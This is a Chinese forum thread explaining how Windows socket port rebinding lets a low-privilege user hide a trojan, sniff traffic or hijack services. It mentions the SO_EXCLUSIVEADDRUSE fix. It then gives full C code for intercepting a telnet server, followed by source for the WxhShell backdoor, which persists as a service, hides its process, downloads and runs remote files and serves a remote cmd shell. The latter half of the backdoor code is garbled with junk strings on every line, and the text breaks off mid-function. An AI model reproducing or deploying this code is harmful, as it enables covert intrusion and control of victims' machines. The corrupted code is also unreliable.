[讨论]用端口截听实现隐藏嗅探与攻击

ヾ1.嗰rёn

级别: 终身会员

发帖: 3743

铜板: 8

人品值: 493

贡献值: 9

交易币: 0

好评度: 3746

信誉值: 0

金币: 0

所在楼道

只看楼主更多操作楼层直达

0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; c(1tOQk.
if(chr[0]==0xd || chr[0]==0xa) { 7KiraKb|
pwd=0; N/F_,>E
break; _ uOi:Ti
} N?m)u,6-l
i++; B=*0
} IiniaVuQ
<%.%q
// 如果是非法用户，关闭 socket te[uAJ1 N
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O^\:J2I(
} cS Lj\'`b
q5r7KYH{
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q+[ )i6!?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .=YV
g5#LoGc
while(1) { +FNGRL
;uAh)|;S#
ZeroMemory(cmd,KEY_BUFF); >e;jGk?-
/ xv5we~
// 自动支持客户端 telnet标准 1 K}gX>F
j=0; ~Q=;L>Qd
while(j<KEY_BUFF) { 1$DcE>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oC" [rn
cmd[j]=chr[0]; {$EX :ID
if(chr[0]==0xa || chr[0]==0xd) { s2L]H
cmd[j]=0; 5 v.&|[\k
break; pF6u3]
} o;wSG81
j++; o.r D
} l'm|**
~H#c-B
// 下载文件 Oa:C'M b
if(strstr(cmd,"http://")) { #qVvh3#g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w&YUb,{Y
if(DownloadFile(cmd,wsh)) ?J6Ek*E#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #NyO'
else )7Hx<?P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 `TMqrk
} ,>#\aO1n
else { d(}? \|
Ag T)J
switch(cmd[0]) { Mh3.GpS
[[_>DM
// 帮助 zATOFV
case '?': { kj|Oj+&
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )}$rgYKJ
break; Ruq;:5u
} N1Xg-u?ul#
// 安装 i9 CQ~
case 'i': { zdem}kBIe
if(Install()) @G]*]rkKb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Rys:$
else U$DZht4>u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wk^{Tn/]
break; B{0]v-w
} +uF}mZS^
// 卸载 \a0{9Xx F
case 'r': { ir}*E=*
if(Uninstall()) u0)O Fz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vxrj(knck,
else =M:Po0?0E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fiC0'4.,
break; ?v,c)
} tMdSdJ8
// 显示 wxhshell 所在路径 V1P]pP
case 'p': { ?$)a[UnqX
char svExeFile[MAX_PATH]; ~9rNP{+
strcpy(svExeFile,"\n\r"); D4"<suU|.
strcat(svExeFile,ExeFile); Otr=+i ZI
send(wsh,svExeFile,strlen(svExeFile),0); :?EZ\WM7
break; Lm!]m\LRZD
} ox<6qW
// 重启 C:&Sk\
case 'b': { wGMoh.GTh
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >~7XBb08
if(Boot(REBOOT)) 3;b)pQ~6CJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C&@'oLr
else { {88|J'*L
closesocket(wsh); D',7T=C
ExitThread(0); yS K81`
} `tO t+>YWn
break; @lM-+q(tl
} B]hRYU
// 关机 ,;YNI
case 'd': { 3 u=\d)eq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~%tVb c
if(Boot(SHUTDOWN)) g_PP9S_?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VxOWv8}|
else { b!MN QGs
closesocket(wsh); <Ed;tq
ExitThread(0); 9pi{)PDJ
} {B#w9>'b
break; =MJRQV67
} k5%)
// 获取shell s hq +
case 's': { ^^k9Acd~p
CmdShell(wsh); F@z%y'5 Z*
closesocket(wsh); [ZG>FJDl8
ExitThread(0); 3bd`q $
break; w&}<b%l
} b&,ZmDJh
// 退出 g~|vmVBua
case 'x': { ~f[;(?39xZ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DdISJWc'`5
CloseIt(wsh); TqS s*as5
break; xIc||o$
} cJ?,\@uuP
// 离开 FW2x
case 'q': { (!m6>m2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <j
closesocket(wsh); g<DXJ7o
WSACleanup(); _H}hK kG+
exit(1); Qa9@Q$
break; hb0)<^xu
} O.Te"=^"F
} 19% "F!^i
} r4K_Wp
@D["#pe,}
// 提示信息 EAr;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?|oN}y"i
} 1QhQ#`$<1
} ]p4?nT@]
kwww5p ["
return; 8)s0$64Ra
} Pdh`Gu1:3
Wd+kjI\
// shell模块句柄 WAuT`^"u
int CmdShell(SOCKET sock) nT~XctwF
{ $\k)Y(&
STARTUPINFO si; S^i8VYK,C5
ZeroMemory(&si,sizeof(si)); K5<2jl3S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2!9W:I7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s LDEa
PROCESS_INFORMATION ProcessInfo; u46Z}~xfb
char cmdline[]="cmd"; -d2)
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7Kj7or|
return 0; 4!3<[J;N;
} ~kpa J'm
4S+E%b|)
// 自身启动模式 $6ucz'
int StartFromService(void) vN]_/T+
{ R:'&>.AUw
typedef struct D5Jg(-
{ V2;Nv\J\
DWORD ExitStatus; xU{0rM"
DWORD PebBaseAddress; dB&<P[$+8
DWORD AffinityMask; FKe/xz
DWORD BasePriority; ,T^A?t
ULONG UniqueProcessId; DqI"B
ULONG InheritedFromUniqueProcessId; "9X(.v0ze
} PROCESS_BASIC_INFORMATION; Jv%)UR.]
qv2J0'd'.
PROCNTQSIP NtQueryInformationProcess; VWYNq^<AT
e<8KZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iB~dO @
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S<*1b 6%D
+?QHSIQo
HANDLE hProcess; VgY6M_V
PROCESS_BASIC_INFORMATION pbi; q)@;8Z=_c
<Vh5`-J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Nloh+n=
if(NULL == hInst ) return 0; vy7?]}MvV
wsR\qq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -4L27C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G7GKO
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KB^GC5L>
{~#01p5
if (!NtQueryInformationProcess) return 0; )Fqtb;W=
_ Fk^lDI-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F7=\*U
if(!hProcess) return 0; "*c&[ALw
RZ9_*Lq7+
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YXF^4||j.c
9Ns%<FRO@
CloseHandle(hProcess); ;_ 1Rk&o!
|<1A<fU8a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uTl"4;&j
if(hProcess==NULL) return 0; ,Cy&tRjR B
m<;MOS
HMODULE hMod; ulEtZ#O{_
char procName[255]; ~dgFr6
unsigned long cbNeeded; 5YUe>P D
+,i_G?eX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QD-Bt=S7l
{q&`B
CloseHandle(hProcess); r'|ei,
,>kXn1 ,
if(strstr(procName,"services")) return 1; // 以服务启动 ]g%HU%R-m
C.}ho.} r
return 0; // 注册表启动 !QqVJ a{j
} od!s5f!
zQGj,EAM}
// 主模块 qM>Dt
int StartWxhshell(LPSTR lpCmdLine) W3X;c*j
{ @P=n{-pIW
SOCKET wsl; 6@d/k.3p
BOOL val=TRUE; Y'}c$*OkI
int port=0; :4\_upRE
struct sockaddr_in door; ]N1,"W}
hbx+*KM
if(wscfg.ws_autoins) Install(); ,oEAWNbgQ
b$*G&d5
port=atoi(lpCmdLine); K)\D,5X^
d(5j#?
if(port<=0) port=wscfg.ws_port; p-z!i+
(f*r
WSADATA data; AO7X-,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7 lq$PsC
J|z' <W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; x;4m@)Mu
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g ZES}]N
door.sin_family = AF_INET; xKT;1(Mk
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ILHn~d IC
door.sin_port = htons(port); N>@.(f&w
vMJC
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $M|vIw{#
closesocket(wsl); n@oSLo`k,`
return 1; [eDRghK
} Lk)TK/JM)
1"1ElH
if(listen(wsl,2) == INVALID_SOCKET) { TP`"x}ACa?
closesocket(wsl); #yCnM]cEn
return 1; j{m{hVa
} PhmtCp0-7-
Wxhshell(wsl); /sSif0I24
WSACleanup(); tU8aPiUl
e.|t12)L "
return 0; :yOJL [x
Hjy4tA7,l
} xfqu=z8X
,`$2
// 以NT服务方式启动 (<|1/^~=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q}&+{dN\1
{ U71A#OD^U
DWORD status = 0; $K1)2WG
DWORD specificError = 0xfffffff; L$ju~0jl)%
DVBsRV)/
serviceStatus.dwServiceType = SERVICE_WIN32; MR* %lZpB
serviceStatus.dwCurrentState = SERVICE_START_PENDING; (Q|Y*yI
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; woU3WS0
serviceStatus.dwWin32ExitCode = 0; r6+IJxUd
serviceStatus.dwServiceSpecificExitCode = 0; 8ePzUc\#
serviceStatus.dwCheckPoint = 0; ;s-fYS6(>{
serviceStatus.dwWaitHint = 0; !Ome;gS)
y8|}bd<Sr
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iz`ys.Fu
if (hServiceStatusHandle==0) return; ?bG82@-
j2#B l
status = GetLastError(); 7{[i)
if (status!=NO_ERROR) .R@euIva
{ 3TKl
serviceStatus.dwCurrentState = SERVICE_STOPPED; EmV ZqW
serviceStatus.dwCheckPoint = 0; 9lX+?m~ ~
serviceStatus.dwWaitHint = 0; (=s%>lW|
serviceStatus.dwWin32ExitCode = status; %S%0/
serviceStatus.dwServiceSpecificExitCode = specificError; ?zK>[L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g^k=z:n3,
return; B=i%Z_r]w
} ^Ov+n1,)
T%2%*oa
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2u}ns8wn
serviceStatus.dwCheckPoint = 0; ^cojETOv
serviceStatus.dwWaitHint = 0; /5:qS\Zl
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @])}+4D(S
} 35SL*zS@-
'G3|PA7v
// 处理NT服务事件，比如：启动、停止 X'cm0}2
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~rbJtz
{ p;vrPS
switch(fdwControl) c=IjR3F
{ PW-sF
case SERVICE_CONTROL_STOP: M3q7{w*bM
serviceStatus.dwWin32ExitCode = 0; fR lJ`\ t
serviceStatus.dwCurrentState = SERVICE_STOPPED; i,$n4
serviceStatus.dwCheckPoint = 0; xT8!X5;
serviceStatus.dwWaitHint = 0; zvbz3a
{ EJTa~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S%w67sGl4n
} OKNGV,{`
return; |Lz7}g=6
case SERVICE_CONTROL_PAUSE: .@f)#2
serviceStatus.dwCurrentState = SERVICE_PAUSED; "(E%JAwZ^W
break; 2!Pwg0%2
case SERVICE_CONTROL_CONTINUE: IpsV4nmnz-
serviceStatus.dwCurrentState = SERVICE_RUNNING; d|$-Sz
break; O}[){*GG=
case SERVICE_CONTROL_INTERROGATE: _jk+$`[9PL
break; +L}R|ihkI
}; G#z9=NF~V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hhr>nuA
} Um I,?p
;DI"9
// 标准应用程序主函数 g_MxG!+(V
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2}#VB;B
{ -"n8Wv
> ,P,{"
// 获取操作系统版本 f.U.(
OsIsNt=GetOsVer(); 7, :l\t
GetModuleFileName(NULL,ExeFile,MAX_PATH); :N:e3$c
BKW%/y"
// 从命令行安装 vb k4
if(strpbrk(lpCmdLine,"iI")) Install(); :j% B(@b
kX'a*AG
// 下载执行文件 yI$MqR
